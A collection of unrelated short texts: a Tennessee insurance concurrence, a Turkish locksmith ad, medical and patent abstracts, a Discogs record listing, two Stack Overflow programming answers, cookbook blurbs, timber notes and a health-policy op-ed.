the statutes governing the intoxication exclusion in group insurance policies. The majority opinion
rightly notes that the legislature enacted a statute, Tennessee Code Annotated § 56-26-109, which
specifies that an intoxication exclusion may exclude coverage only for a loss sustained “in
consequence of the insured’s being intoxicated,” that is, a loss caused by the insured’s intoxication.
This is not applicable to a group policy, however, as specified in Tennessee Code Annotated § 56-
26-122. As a result, a group insurance policy may exclude coverage for an insured if the injury
occurs when the insured is intoxicated, even if the intoxication in no way caused the accident. In
other words, if the insured is drinking while a passenger in a vehicle, or indeed drinking wine with
dinner in his own home, and is struck by an errant vehicle, his injuries are not covered by his
insurance if it is a group policy. This makes no sense. The majority is correct in applying the
statutes and the policy as written in this case, but the inconsistency in treatment under the statutes
should be remedied by our legislature.
The second reason for this separate concurrence is to explain a portion of my analysis of the
affirmance of the trial court’s grant of summary judgment in favor of Conseco. The provision in this
policy excludes from coverage a loss sustained while the insured is “intoxicated” or “under the
influence of intoxicants.” Bills’s blood-alcohol level of 0.137, of course, raises the rebuttable
presumption that he was intoxicated, so the issue is whether Bills has proffered sufficient evidence
to rebut that presumption and create a genuine issue of fact.
The evidence proffered by the Bills, and noted by the majority, is insufficient for a variety
of reasons. The Bills raise the issue that the pain medication may have affected the BAC level, but
present no expert testimony to establish this. They assert that one of the paramedics on the scene
of the accident told Mr. Bills that his son seemed “perfectly fine,” clearly inadmissible hearsay, and
do not submit an affidavit by the paramedic who made that statement.
A closer question arises, however, from the son’s deposition, and this merits discussion. In
the deposition, in response to a question about whether he considered himself intoxicated at the time
of the accident, Bills, Jr. replied that he did not. His opinion may be dubious indeed in light of a
blood-alcohol level of 0.137 and the other surrounding circumstances. However, since we do not
assess credibility at this point, it is likely sufficient to create a genuine issue of fact regarding
whether Bills was “intoxicated,” sufficient to survive a motion for summary judgment.
Nevertheless, the provision in this policy also excludes coverage for a loss incurred when the
insured is “under the influence of intoxicants . . . .” While Bills states in his deposition his opinion
that he was not intoxicated, he does not assert that he was not “under the influence of intoxicants.”
Therefore, in light of his BAC level of 0.137, there is no genuine issue as to whether Bills was
“under the influence of intoxicants,” and the trial court rightly granted summary judgment in favor
of Conseco. I concur in the affirmance of the trial court’s decision on this basis.
HOLLY M. KIRBY, J.
|
Bostancı Çilingir – Profesyonel Servis
7/24 Hizmetinizdeyiz
Mobil: 0530 701 06 30
Tel: 02163614242
Bostancı Çilingir – Servis Hizmetlerimiz:
Ev Kapısı Açma – Bostancı Çilingir
Çelik Kapı Açma – Bostancı Çilingir
Kale Kapı Açma – Bostancı Çİlingir
Kale Kapı Kilit Değişimi – Bostancı Çilingir
Multlock Kilit – Bostancı Çilingir
Kale Kilit – Bostancı Çilingir
Keso Kilit – Bostancı Çilingir
Yale Kilit – Bostancı Çilingir
Atra Kilit – Bostancı Çilingir
Daf Kilit – Bostancı Çilingir
Desi Alarm
Hidrolik Kapı Yay Tamir ve Değişim
Atra Kilit – Bostancı Çilingir
Desi Alarm – Ev,ofis,dükkan güvenlik sistemleri
Pencere Koruma – PVC ve Ahşap Pencereler için Kilit
Master Sistem – MasterKey – Anahtar Yetkilendirme
Garaj Bariyer Oto Kumanda Tamir ve Değişim
Çelik Kasa Açma
Göster Geç Anahtar – Bostancı Çilingir
Çelik Kasa Kilit Değiştirme – Bostancı Çilingir
Oto Çilingir-Kapı açma-İmmobilizer
Bostancı Çilingir olarak siz değerli müşterilerimiz için hızlı ve etkili hizmeti amaç edindik.Anahtar ve Kilit sistemlerinde başınıza gelebilecek her türlü soruna etkili çözümler getiriyoruz.Kapıda kaldım diye üzülmeyin hemen bizi arayın.Bostancı Çilingir hizmetimiz mobil servis aracımızla en kısa sürede yanınızda olacaktır.Kapınızın kilidi bozulduğunda,anahtarınız kapıyı açmadığında,evinize hırsız girdiğinde,çelik kasanızı açamadığınızda veya aracınızın anahtarı bozulduğunda bizi arayabilir,servis talep edebilirsiniz.
Not: Bostancı Çilingir için mobil servisimizin size ulaşmasını bekleyeceğiniz süre sadece 10 Dakida’dır.
Bostancı Çilingir Referanslarımız;
Ayşe Çavuş Sk.
Bostancı Sanayi Çilingir
Eminali Paşa Cd. Çilingir
Şemsettin Günaltay CdÇilingir
Bostancı Ptt
Bostancı Electro World
Bostancı Green Park Otel-Bostancı Çilingir
Tahsin Çoşkan Sitesi – Bostancı Çilingir Servisi (Kapı Açma )
Polat Sitesi – Bostancı Çilingir Servisi ( Kapı Açma ve Kilit Değişimi)
Bostancı Sitesi – Bostancı Çilingir Servisi ( Barel Değişimi)
Yalı Sitesi – Bostancı Çilingir Servisi ( Kamera Sistemi)
İki İnci Sitesi – Bostancı Çilingir Servisi ( Kapı Sistemi)
Bostancı City Sitesi – Bostancı Çilingir Servisi ( Barel Değişimi)
Bostancı AVM – Bostancı Çilingir Servisi ( Kilit ve Topuz Kol)
Evsan İş Merkezi Sitesi – Bostancı Çilingir Servisi ( Kilit ve Barel Değişimi)
Bostancı Evleri Sitesi – Bostancı Çilingir Servisi (Barel Değişimi )
Gümrükçüler Sitesi – Bostancı Çilingir Servisi ( Parmak İzi Okuyucu Kilit)
Oyak Sitesi – Bostancı Çilingir Servisi ( Kapı Açma)
Çatalpınar Sitesi – Bostancı Çilingir Servisi ( Kapı Açma ve Barel Değişimi)
Bostancı, İstanbul ilinin, Kadıköy ilçesine bağlı mahallesi. Sahilden yukarı doğru 2,5 kilometre uzanır. Batıda Suadiye ile, doğuda Maltepe ilçesine bağlı olan Altıntepe ile komşudur.
Ulaşım olarak merkezi noktalardan bir tanesidir. Deniz otobüsü ve vapur seferleri, her ekspresin durduğu Bostancı Tren İstasyonu ve Kadıköy-Kartal Metrosu Bostancı İstasyonu bulunmaktadır. 1930’lardan itibaren bu mahalleyi İETT’nin “4” adlı ring hattı Kadıköy’e bağlar. Taksim ve Kadıköy dolmuşlarının kalkış noktasıdır. Aynı şekilde Mecidiyeköy/Taksim ve Ümraniye otobüsleri de buradan kalkmaktadır.
Siz de Alt Bostancı,Üst Bostancı,Bostancı semtinde ikamet ediyor ve çilingir servisi arıyorsanız doğru yerdesiniz.Kapınızı açamadığınızda,anahtarınız kaybolduğunda,anahtarınız kapının arkasında kaldığında,kapıda kaldığınızda,anahtar kapı göbeğinin içinde kırıldığında,kapınız zorlandığında veya kilit değiştirmek isterseniz bizi arayın.İşini bilen ve güler yüzlü servis elemanlarımız sizin için güvenilir ve kaliteli hizmet vermeye hazırlar.Bostancı Çilingir,hızlı ve etkili servisi ile en kısa sürede sizinle.Size daha kolay ve çabuk ulaşabilmemiz için adresinizi açık şekilde posta adresi olarak vermenizde fayda var,böylece size en doğru ve çabuk şekilde ulaşabiliriz.Kaliteli malzeme ve markalar ile size en iyi hizmeti verme inancındayız.Amacımız sizlere en iyisini sunmaktır.Bizi tercih ettiğiniz için şimdiden teşekkür ederiz.
Bostancı Çilingir Servisi dünya lideri markaları tercih ediyor.Bostancı Çilingir Servisi ile tüm servislerimizde müşterilerimizin memnuniyeti ilk sırada yer almaktadır.Yılların çalışması ve bize kattıkları ile sizlere en iyi hizmeti sunma gayretimiz,yaptıklarımız yapacaklarımızın aynası olmuştur.
Yenilikçi hizmet anlayışımız,gelişen dünyada daha da görünür olma hedefimiz sizlerin istekleri doğrultusunda,gündelik yaşamı kolaylaştıran,güvenlik ve kullanımı kolay sistemleri araştırıyor ve geliştiriyoruz.Kapınızı kilitlediğinizde gözünüz arkada kalmasın diye çözümler sunuyoruz.Yaşam alanlarınızı daha rahat bir hale getirmek için çalışıyoruz.Biz sizi düşünüyoruz.Bir evin girişi,kapılarınıza yenilikler getiriyoruz.
Bostancı :
Bostancı da gezmek isterseniz,minibüs yolu veya sahil kenarında birçok alternatif sizleri bekliyor.Alışveriş,restoran,kafeterya işletmeleri,eğlence merkez gibi mekanlar mevcuttur.Bostancı tren istasyonun alt geçidi ve etrafında deniz ürünleri tercihi yapabilirsiniz.Kordon boyundan devam ederseniz Bağdat Caddesi’nin başlangıcı buradadır. Yürüyüşe açık kaldırımlar ile mağazalara göz gezdirebilirsiniz.Bostancı sahili spor için idealdir.Bisiklet,yürüyüş yolu mevcuttur.Ayrıca belediyenin tahsis ettiği egzersiz aletleri de bulunmaktadır.Denize karşı çay yudumlamak için güzel mekanlar bulunmaktadır.Bostancı Gösteri Merkezi’nde ünlü sanatçıların konserlerini dinleyebilir,performanslarını izleyebilir ya da Bostancı Lunapark’da stres atabilirsiniz.Semt sınırları içinde bulunan başlıca bilinen mekanlar:Kahve Dünyası,Benzin Cafe,Dunkin Donuts,Komşu Fırın,Marmaris Büfe,Safranbolu Lokumcusu,Konya Etli Ekmek.Ayrıca kurumsal olarak Bostancı Ptt,Noter,Bostancı İSMEK eğitim kursu bu semtte mevcuttur.Garanti,İNG Bank,Türkiye İş Bankası,Ziraat Bankası,Vakıfbank,Akbank gibi hemen hemen her bankanın şube ve bankamatik gişeleri vardır.
Bostancı Çilingir Servis Hizmetleri. |
Spectrum of antiarrhythmic response to encainide.
Encainide is effective in suppressing non-life-threatening ventricular arrhythmias; however, inconsistent results have been noted in patients with more serious ventricular arrhythmias. Thirty-seven patients with drug-resistant ventricular arrhythmias were studied. Patients in group I (n = 11) has sustained ventricular tachycardia and those in group II (n = 26) had nonsustained ventricular arrhythmias. In group I, 8 patients had remote myocardial infarction, congestive heart failure and sustained ventricular tachycardia requiring repeated cardioversion (group Ia). None of these patients responded to encainide treatment, but 6 did have an antiarrhythmic response (complete in 3 and only partial in 3) to other investigational antiarrhythmic agents. Three patients in group I, all without ischemic heart disease (group Ib), had an excellent antiarrhythmic response to encainide, as did 21 of 26 patients in group II. In 4 of 5 patients in group II who did not respond, the dosage was limited due to the development of sinus pauses, atrioventricular block or bundle branch block, and in 3 of these 4 patients preexisting conduction disease was evident (PR longer than 0.2 second or QRS longer than 0.12 second). Diplopia occurred while taking the maximal oral dosage in the fifth patient. At 21.5 months of follow-up, 14 of the original 24 patients who responded to encainide continue to receive it; 3 have died (all due to natural progression of left ventricular dysfunction) and encainide was discontinued in 7: in 2 because of syncope, in 2 because of new-onset atrial fibrillation, in 1 patient because of exercise-induced polymorphic ventricular tachycardia, in 1 because of diplopia and in 1 because of skin exanthem.(ABSTRACT TRUNCATED AT 250 WORDS) |
The discs are presented in a clear plastic 6-pocket 'roll-fold' wallet, with a flip-over 'hanger' flap containing title card. Each disc comes with a cardboard lyric sheet and photo, contained in it's own individual paper picture-sleeve. The image of the 6th sleeve "The Bed's Too Big Without You" is used as the frontispiece of the package - which is a previously unreleased mono issue. The wallet is stickered with a silver roundel, with dark blue print and six pack Category "AMPP 6001".
Note: None of the singles presented as cataloged for this issue were officially released singularly.Six Packs were also exported to be released in Japan. Those packs where facilitated with a sticker with cat. nr. AY-101-1006 with Japanese text in purple on yellow print. The content however is the same as the UK release. (see image # 2).
Barcode and Other Identifiers
Rights Society: MCPS/BIEM
Matrix / Runout (A-side label matrix): AMPP 6001/P-A
Matrix / Runout (B-side label matrix): AMPP 6001/P-B
Matrix / Runout (C-side label matrix): AMPP 6001/O-A
Matrix / Runout (D-side label matrix): AMPP 6001/O-B
Matrix / Runout (E-side label matrix): AMPP 6001/L-A
Matrix / Runout (F-side label matrix): AMPP 6001/L-B
Matrix / Runout (G-side label matrix): AMPP 6001/I-A
Matrix / Runout (H-side label matrix): AMPP 6001/I-B
Matrix / Runout (I-side label matrix): AMPP 6001/C-A
Matrix / Runout (J-side label matrix): AMPP 6001/C-B
Matrix / Runout (K-side label matrix): AMPP 6001/E-A
Matrix / Runout (L-side label matrix): AMPP 6001/E-B
Matrix / Runout (Runout area A-side): AMPP-6001/P-A-1 B Tone
Matrix / Runout (Runout area B-side): AMPP-6001/P-B-1 C 1
Matrix / Runout (Runout area C-side): AMPP-6001/O-A-1 Tone B C
Matrix / Runout (Runout area D-side): AMPP-6001/O-B-1 A C
Matrix / Runout (Runout area E-side): AMPP-6001/O̶ L A 1 Tone A 01
Matrix / Runout (Runout area F-side): AMPP-6001/O̶ L-B-1 2 0 B
Matrix / Runout (Runout area G-side): AMPP-6001/I-A-3 A Tone
Matrix / Runout (Runout area H-side): AMPP-6001/I-B-1 B 0 1
Matrix / Runout (Runout Area I-side): AMPP-6001/C-A-1 Tone A 0
Matrix / Runout (Runout Area J-side): AMPP-6001/C-B-1 B 4
Matrix / Runout (Runout Area K-side): AMPP-6001-E-A-2 ✳ Tone
Matrix / Runout (Runout Area L-side): AMPP-6001/E-✳ B- 2
Other versions
Category
Artist
Title (Format)
Label
Category
Country
Year
AMPP 6001/I
The Police
Message In A Bottle (7", Single, bla)
A&M Records
AMPP 6001/I
UK
1980
AMPP 6001 P
The Police
Roxanne (7", Single, bla)
A&M Records
AMPP 6001 P
UK
1980
AMPP 6001/L
The Police
Can't Stand Losing You (7", Single, bla)
A&M Records
AMPP 6001/L
UK
1980
Iaran
agree...vote not to merge...confusing.. it doesnt say nowhere that the listing is for one item
Blackbeard
Agree that each single should be listed separately, vote not to merge.
Tamesya
I think each of the 6 releases bear adding as individual issues, as they are appearing on the market separated from the Six Pack. Either we have separate entries for each of the 6 items (noting they are taken from the Six Pack) or we end up with dealers selling the "six pack" but noting in the description that they only have item "x" and not all six which is even more confusing. My vote is not to merge.
Moogugore
What I understand is that records should be listed how they were originally released, not how they appear on the market nowadays. |
Q:
Strings vs integers for storing data
What would be considered the best practise when it comes to storing datatypes to the database?
For instance, you have a support ticket feature in which a ticket can have the following statuses: open, closed, review.
Would you store it as a string?
+----+----------------+--------+
| id | ticket | status |
+----+----------------+--------+
| 1 | example ticket | open |
| 2 | example ticket | closed |
+----+----------------+--------+
Store the value as an integer, so: 1 => open, 2 => closed and 3 => review or as a string.
+----+--------+
| id | status |
+----+--------+
| 1 | 1 |
| 2 | 2 |
+----+--------+
If you would save it as an integer, would you create an extra table to resolve the name of that status (lets say support_ticket_states table)?
+----+----------------+--------+
| id | ticket | status |
+----+----------------+--------+
| 1 | example ticket | 1 |
| 2 | example ticket | 2 |
+----+----------------+--------+
Or would you do that on the client side, for example:
if ($ticket->status == 1) {
echo 'Open';
}
What would be considered the best option?
A:
It depends on personal preference.
firstname: Would you store "Daniel" as string, or map every user to firstname_id=1? guess no...
status: new/open, only 2 options, but here I would use a mapping.
hourly/daily 2 options as well, but here i would take a string-type.
My preference: If there can be information associated with the entry - use a mapping table. If it is guaranteed to stay a "single-string", store it as string.
Picking the examples above:
The firstname always remains a single "firstname", altering a name should not affect other users. -> String
status could be extended with more information such as "general-time-to-response", "description", "team-lead" etc... -> Mapping
hourly/daily: There is nothing more to say, it's either or. -> String
if ($ticket->status == 1) {
echo 'Open';
}
this depends on how you do your localization, if any. There is no "right" and "wrong", just "working" and "not working". :-)
I would keep it as open, closed in the database, and then - when it comesdown to localization - translate that entry properly using "code", not database-queries. (Loacalization stuff can be easily cached and preloaded, no need for over-engineered queries, cause you didn't.):
echo getLocalizedContent($ticket->status, $user->getLanguage());
(Language information can be stored along with the session, so no need to pass as parameter):
echo getLocalizedContent($ticket->status);
|
Corinne Trang
Asian Flavors Diabetes Cookbook is the first book that takes the elegant, easy to prepare and naturally healthy recipes and meals of Asian cuisine and crafts them specifically for people with diabetes. Features more than 100 recipes from all over Asia.
Nancy S. Hughes
Make mealtime math a thing of the past! Innovative collection combines cookbook, meal planner, and carb counter into a seamless system for people with diabetes—each recipe designed to provide 15 grams of carbohydrate per serving.
Nancy S. Hughes
Innovative recipes reveal how the timely addition of fresh ingredients can bring new levels of flavor, crunch, color, and freshness to your table. Turn your slow-cooker classics into easy-to-prepare head-turners and new family favorites. |
Jarrah Timber flooring decking
Jarrah Timber Flooring and Decking
Eucalyptus marginata is one of the most common species of Eucalyptus tree in the southwest of Western Australia. The tree and the wood are usually referred to by the Aboriginal name Jarrah.
Jarrah was once called Swan River mahogany after the river system that runs through Perth.
The tree grows up to 40 metres high with a trunk up to 3 metres in diameter, and has rough, greyish-brown, vertically grooved, fibrous bark.
Jarrah is commonly used for cabinet making, flooring, panelling and outdoor furniture. The finished timber has a deep rich reddish-brown colour and an attractive grain. When fresh, jarrah is quite workable but when seasoned it becomes so hard that basic wood-working tools are useless. It is very durable, even in wet and weathered situations, making it a choice structural material for bridges, wharves, Decking, Flooring.
Jarrah wood is very similar to that of Karri, Eucalyptus diversicolor.
Both trees are found in the south west of Australia, the two timbers are frequently confused. They can be distinguished by cutting an unweathered splinter and burning it: karri burns completely to a white ash, whereas jarrah forms charcoal. Most of the best jarrah has been cut out of south Western Australia. Janka Rating 8.5 |
The catalytic partial oxidation process could very suitably be used to provide the hydrogen feed for a fuel cell. In fuel cells, hydrogen and oxygen are passed over the fuel cell in order to produce electricity and water. Fuel cell technology is well known in the art.
One of the most challenging applications of fuel cells is in transportation. Transport means, such as automotive vehicles and crafts, powered by fuel cells are under development. The oxygen needed for the fuel cell may be obtained from the ambient air, the hydrogen feed could be obtained from a hydrogen fuel tank but is preferably produced on-board, for example by catalytic reforming of methanol. The on-board production of hydrogen by catalytic reforming of methanol has been proposed, for example by R. A. Lemons, Journal of Power Sources 29 (1990), p 251-264.
The on-board production of hydrogen by a catalytic partial oxidation process, for example as described in WO99/19249, has been proposed as an alternative for steam reforming of methanol. An important advantage of this catalytic partial oxidation process is its flexibility towards the choice of fuel.
In a catalytic partial oxidation process in a fixed catalyst bed, the temperature of the top layer, i.e. the layer at the upstream end of the catalyst bed, is typically higher than the temperature further downstream in the catalyst bed. This is due to the fact that the catalytic partial oxidation reaction is mass and heat transfer limited, i.e. full conversion is subject to mass and heat transfer limitations between the bulk of the gaseous feed mixture and the catalyst surface.
Typically, upon an increase in the average carbon number of the hydrocarbonaceous feedstock, the temperature of the top layer of the catalyst bed will increase. This is probably due to the fact that if the feedstock has a high carbon number, and thus a high molecular weight, the oxygen concentration at the upstream surface of the catalyst will be relatively high, i.e. higher than the average oxygen concentration in the feed mixture supplied, since the diffusion of the smaller oxygen molecules to the upstream surface will be faster than the diffusion of the larger hydrocarbon molecules. Thus, as the number of carbon atoms increases a larger part of the hydrocarbons will be completely oxidised at the upstream surface of the catalyst bed. Since the complete oxidation reaction is more exothermic than the partial oxidation reaction, more heat is produced, resulting in a very high temperature of the upstream part of the catalyst bed. Temperatures of the top layer of the catalyst bed above 1200° C. have been observed in the catalytic partial oxidation of a naphtha feedstock. It will be appreciated that the temperature of the top layer will not only depend on the feedstock, but also on the catalyst composition and structure, the composition of the feed mixture, the process conditions and the configuration of the reactor.
High temperatures in the top layer of the catalyst bed are unwanted, since the rate of catalyst deactivation increases with temperature. Therefore, there is a need in the art for a catalytic partial oxidation process wherein the temperature in the top layer of the catalyst bed can be reduced. |
Pertussis toxin-sensitive G-proteins and regulation of blood pressure in the spontaneously hypertensive rat.
1. Increased Gi-protein-mediated receptor-effector coupling in the vasculature of the spontaneously hypertensive rat (SHR) has been proposed as a contributing factor in the maintenance of elevated blood pressure. If increased Gi-protein-mediated activity plays an important role in hypertension in SHR, then inhibition of Gi-proteins by pertussis toxin would be expected to decrease blood pressure in this genetic hypertensive model. To address this hypothesis, studies were undertaken comparing the cardiovascular effects of pertussis toxin in SHR and normotensive Wistar-Kyoto (WKY) rats. 2. Spontaneously hypertensive and WKY rats were instrumented with radiotelemetry devices and blood pressure measurements were recorded in conscious rats. Following a single injection of pertussis toxin (10 micrograms/kg, i.v.), mean arterial blood pressure fell from 161 +/- 3 to 146 +/- 1 mmHg in the SHR and the effect was sustained for more than 2 weeks. In contrast, 10 micrograms/kg, i.v., pertussis toxin produced no significant effect on blood pressure in WKY rats (103 +/- 4 vs 101 +/- 5 mmHg). 3. In a separate study, SHR and WKY rats were administered 30 micrograms/kg, i.v., pertussis toxin or 150 microL/kg, i.v., saline and, 3-5 days later, rats were anaesthetized and instrumented to permit measurement of blood pressure and renal function. At this higher dose, pertussis toxin reduced blood pressure in both strains of rat, although the effect was markedly greater in SHR (approximately 40 mmHg decrease) compared with WKY rats (approximately 15 mmHg decrease). In SHR, pertussis toxin increased renal blood flow (from 5.7 +/- 0.3 to 7.5 +/- 0.8 mL/min per g kidney) and decreased renal vascular resistance (from 31 +/- 2 to 19 +/- 2 mmHg/mL per min per g kidney). In WKY rats, pertussis toxin had no significant effect on renal parameters. 4. Results from these studies indicate that a pertussis toxin-sensitive Gi-protein-mediated pathway contributes to the maintenance of hypertension and elevated renal vascular tone in the SHR. |
Q:
The animation wouldn't stop after mouse click (JavaScript)
Can anyone help me with this one? JS newbie here.
I can't stop h1 moving with the click. It just starts moving twice slow after the click.
I have tried also to do it through jQuery, but it didn't work either.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Interactive Programming</title>
</head>
<body>
<h1 id="heading">Hello,world!</h1>
<script src="https://code.jquery.com/jquery-2.1.0.js">
</script>
<script>
var leftOffset = 0;
var topOffset = 0;
var moveHeading = function() {
$("#heading").offset({
left: leftOffset,
top: topOffset
});
if (leftOffset < 200 && topOffset == 0) {
leftOffset++;
} else if (leftOffset == 200 && topOffset < 200) {
topOffset++;
leftOffset = 200;
} else if (topOffset == 200 && leftOffset > 0) {
leftOffset--
} else if (leftOffset == 0 && topOffset > 0) {
topOffset--;
}
};
setInterval(moveHeading, 30);
var heading = document.getElementById("heading");
var intervalId = setInterval(moveHeading, 30);
var stopMovement = function() {
clearInterval(intervalId);
};
heading.addEventListener("click", stopMovement);
</script>
</body>
</html>
A:
Ah, I love removing code to solve problems. In this case, removing the first call to setInterval(moveHeading, 30) resolves the problem. It's being called twice. Just leaving var intervalId = setInterval(moveHeading, 30); makes it work ok.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Interactive Programming</title>
</head>
<body>
<h1 id="heading">Hello,world!</h1>
<script src="https://code.jquery.com/jquery-2.1.0.js">
</script>
<script>
var leftOffset = 0;
var topOffset = 0;
var moveHeading = function() {
$("#heading").offset({
left: leftOffset,
top: topOffset
});
if (leftOffset < 200 && topOffset == 0) {
leftOffset++;
} else if (leftOffset == 200 && topOffset < 200) {
topOffset++;
leftOffset = 200;
} else if (topOffset == 200 && leftOffset > 0) {
leftOffset--
} else if (leftOffset == 0 && topOffset > 0) {
topOffset--;
}
};
var heading = document.getElementById("heading");
var intervalId = setInterval(moveHeading, 30);
var stopMovement = function() {
clearInterval(intervalId);
};
heading.addEventListener("click", stopMovement);
</script>
</body>
</html>
A:
Your issue is with:
setInterval(moveHeading, 30);
You later on in your code set this equal to intervalId:
var intervalId = setInterval(moveHeading, 30);
And so, your clearInterval will only stop the interval intervalId, but it will not stop your first interval, and thus your heading keeps moving.
See working example below:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Interactive Programming</title>
</head>
<body>
<h1 id="heading">Hello,world!</h1>
<script src="https://code.jquery.com/jquery-2.1.0.js">
</script>
<script>
var leftOffset = 0;
var topOffset = 0;
var moveHeading = function() {
$("#heading").offset({
left: leftOffset,
top: topOffset
});
if (leftOffset < 200 && topOffset == 0) {
leftOffset++;
} else if (leftOffset == 200 && topOffset < 200) {
topOffset++;
leftOffset = 200;
} else if (topOffset == 200 && leftOffset > 0) {
leftOffset--
} else if (leftOffset == 0 && topOffset > 0) {
topOffset--;
}
};
// Remove this: setInterval(moveHeading, 30);
var heading = document.getElementById("heading");
var intervalId = setInterval(moveHeading, 15);
var stopMovement = function() {
clearInterval(intervalId);
};
heading.addEventListener("click", stopMovement);
</script>
</body>
</html>
Note: You will notice that the speed of the movement is now slower, this is because you are only moving your fewer times (as you only have one interval now). You can change the interval gap to be 30/2 = 15 to get the original speed back: var intervalId = setInterval(moveHeading, 15);
|
What the Republican Health Plan Gets Right – The New York Times
I learn from my patients every day about the benefits, limitations and contradictions of their health insurance. One charming 60-year-old with severe seasonal allergies insists on seeing me every few weeks this time of year, even though I tell her she doesn’t need to — her antihistamines and nasal spray treatment rarely changes. But she worries that her allergies could be hiding an infection, so I investigate her sinuses, throat, lungs and ears. I reassure her, and her insurance (which she buys through New York’s Obamacare exchange) covers the bill.
If she was responsible for more than a small co-payment for these visits, I’m sure I would see her less often.
We pride ourselves on being a compassionate society, and insurance companies use this to manipulate us into sharing the costs of other people’s excessive health care. Meanwhile, 5 percent of Americans generate more than 50 percent of health care expenses. Why shouldn’t a patient who continues to see me unnecessarily pay more?
Continue reading the main story
The government’s job is to maintain public health and safety. It should ensure that insurance plans include mandatory benefits like emergency, epidemic, vaccine and addiction coverage. The Republican bill would let states apply for waivers to define these benefits differently; it would be a big mistake to drop such coverage entirely. But Obamacare went well beyond these essentials, by mandating an overstuffed prix fixe meal filled with benefits like maternity and mental health coverage that drove smaller insurers with fewer options out of the market. The few that remain often have a monopoly, and premiums rise.
Speaking of compassion, how about some for the 20-something construction worker who can’t afford to pay his rent because his premiums help subsidize overusers like my allergy sufferer? Why shouldn’t a patient who is risk-averse pay more for coverage she might never need, while that construction worker be allowed to choose a cheaper insurance plan that might cover only the essentials?
In addition to limiting the menu of essential benefits, the House bill would let states create high-risk pools for patients with pre-existing conditions who had let their insurance coverage lapse, and who could then be charged premiums more in keeping with their health care needs. This is the only way to make insurance affordable for most consumers; pre-existing conditions will continue to drive up premiums if everyone is compelled to pay the same price.
These risk-pool premiums can and should be subsidized by the government. A recent report from the Kaiser Family Foundation found that high-risk pools can work, but have been historically underfunded. Trumpcare should change that — though it will cost more than the House bill’s $8 billion in additional funding. Drastic cuts to Medicaid should also be reversed, which could help the bill pass the Senate.
But the bill is on the right track. Americans believe that insurance provides access to care, when in fact it is the gatekeeper that often denies care. Many think Obamacare is generous, and yet I often have to fight for essential care for my patients. We need to be more pragmatic, and less emotional, about this issue.
Jimmy Kimmel’s contention this week that a child like his would not receive lifesaving surgery for his congenital heart problem without Obamacare may tug at the heartstrings, but it is neither fair nor accurate. Employer-based health insurance, which covers 170 million Americans, including, no doubt, Mr. Kimmel, would have paid for this infant’s needs with or without Obamacare. Even if the Republican plan replaced Obamacare, and even if the infant didn’t have employer-provided insurance, the treatment would still be covered, either through a traditional plan or a high-risk pool. And at the end of the day, a federal law, the Emergency Medical Treatment and Labor Act, guarantees this kind of treatment, whether we have Obamacare or Trumpcare.
The final question concerns the skyrocketing costs of innovation, and how one-size-fits-all insurance can possibly continue to pay for it. My 93-year-old father, a retired engineer, just received a $50,000 catheter-inserted aortic valve, which was covered by Medicare. But if all such high-tech devices are covered, it will be practically impossible for any insurance company not to go belly-up. The tax-free savings accounts that the House bill would expand and make more flexible are a far better way to pay for this kind of care. Shouldn’t my father and those like him be asked to save their own money for just this sort of rainy day?
Or should we continue to overload health insurance with all our fears and expectations? |
(a) Field of the Invention
The invention relates to novel oligonucleotide chimera used as therapeutic agents to selectively prevent gene transcription and expression in a sequence-specific manner. In particular, this invention is directed to the selective inhibition of protein biosynthesis via antisense strategy using oligonucleotides constructed from arabinonucleotide or modified arabinonucleotide residues, flanking a series of deoxyribose nucleotide residues of variable length. Particularly this invention relates to the use of antisense oligonucleotides constructed from arabinonucleotide or modified arabinonucleotide residues, flanking a series of deoxyribose nucleotide residues of variable length, to hybridize to complementary RNA such as cellular messenger RNA, viral RNA, etc. More particularly this invention relates to the use of antisense oligonucleotides constructed from arabinonucleotide or modified arabinonucleotide residues, flanking a series of deoxyribose nucleotide residues of variable length, to hybridize to and induce cleavage of (via RNaseH activation) the complementary RNA.
(b) Description of Prior Art
The Antisense Strategy
Antisense oligonucleotides (AON) are therapeutic agents that can inhibit specific gene expression in a sequence-specific manner. Many AON are currently in clinical trials for the treatment of cancer and viral diseases. For clinical utility, AON should exhibit stability against degradation by serum and cellular nucleases, show low non-specific binding to serum and cell proteins (since this binding would diminish the amount of antisense oligonucleotide available to base-pair with the target RNA), exhibit enhanced recognition of the target RNA sequence (in other words, provide increased stability of the antisense-target RNA duplex at physiological temperature), and to some extent, demonstrate cell-membrane permeability. Antisense inhibition of target gene expression is believed to occur by at least two main mechanisms. The first is “translation arrest”, in which the formation of a duplex between the antisense oligomer and its target RNA prevents the complete translation of that RNA into protein, by blocking the ability of the ribosome to recognize the complete mRNA sequence. The second, and probably more important, mechanism concerns the ability of the antisense oligonucleotide to direct the ribonuclease H (RNaseH) catalyzed degradation of the target mRNA. RNaseH is an endogenous cellular enzyme that specifically degrades RNA when it is duplexed with a complementary DNA oligonucleotide (or antisense oligonucleotide) component. For example, when an antisense DNA oligonucleotide hybridizes to a cellular mRNA via complementary base pairing, cellular RNAseH recognizes the resulting DNA/RNA hybrid duplex and then degrades the mRNA at that site. Antisense oligonucleotides that can modulate gene expression by both mechanisms are highly desirable as this increases the potential efficacy of the antisense compound in vivo.
Oligonucleotide Analogs
Oligonucleotides containing natural (ribose or deoxyribose) sugars and phosphodiester (PO) linkages are rapidly degraded by serum and intracellular nucleases, which limits their utility as effective therapeutic agents. Chemical strategies to improve nuclease stability include modification of the sugar moiety, the base moiety, and/or modification or replacement of the internucleotide phosphodiester linkage. To date, the most widely studied analogues are the phosphorothioate (PS) oligodeoxynucleotides, in which one of the non-bridging oxygen atoms in the phosphodiester backbone is replaced with a sulfur. Numerous S-DNA oligonucleotide analogues are undergoing clinical trial evaluation for the treatment of cancer, infectious diseases and other human pathologies, and some are already subjects of New Drug Application (NDA) filings. S-DNA antisense are able to elicit RNaseH degradation of the target mRNA and they are reasonably refractory to degradation by serum and cellular nucleases. However, PS-DNA antisense tend to form less thermodynamically-stable duplexes with the target RNA nucleic acid than oligodeoxynucleotides with phosphodiester (PO) linkages. Furthermore, S-DNA antisense can be less efficient at eliciting RNaseH degradation of the target RNA than the corresponding PO-DNA.
